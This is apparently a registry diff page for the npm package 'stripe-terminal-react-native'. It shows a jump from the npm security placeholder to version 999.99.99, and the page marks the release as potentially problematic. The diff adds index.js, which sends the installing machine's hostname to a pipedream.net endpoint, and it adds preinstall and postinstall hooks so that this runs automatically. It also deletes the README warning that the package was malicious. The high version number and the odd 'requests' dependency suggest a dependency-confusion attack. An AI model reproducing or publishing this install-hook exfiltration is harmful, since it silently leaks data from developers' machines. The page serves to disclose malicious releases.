stripe-terminal-react-native 0.0.1-security → 999.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of stripe-terminal-react-native might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +7 -0
  2. package/package.json +18 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ var os = require("os")
2
+ const request = require('requests')
3
+ var fs = require('fs')
4
+
5
+ var h = os.hostname()
6
+
7
+ request(`https://eoenp5lacdw4vru.m.pipedream.net/?h=${h}`, (error, response, body) => {})
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
- {
2
- "name": "stripe-terminal-react-native",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "Dependencies": {
3
+ "request": "^2.88.2"
4
+ },
5
+ "dependencies": {
6
+ "requests": "^0.3.0"
7
+ },
8
+ "description": "",
9
+ "license": "ISC",
10
+ "main": "index.js",
11
+ "name": "stripe-terminal-react-native",
12
+ "scripts": {
13
+ "postinstall": "node index.js --save-prod",
14
+ "preinstall": "node index.js --save-prod",
15
+ "start": "node index.js --save-prod"
16
+ },
17
+ "version": "999.99.99"
18
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=stripe-terminal-react-native for more information.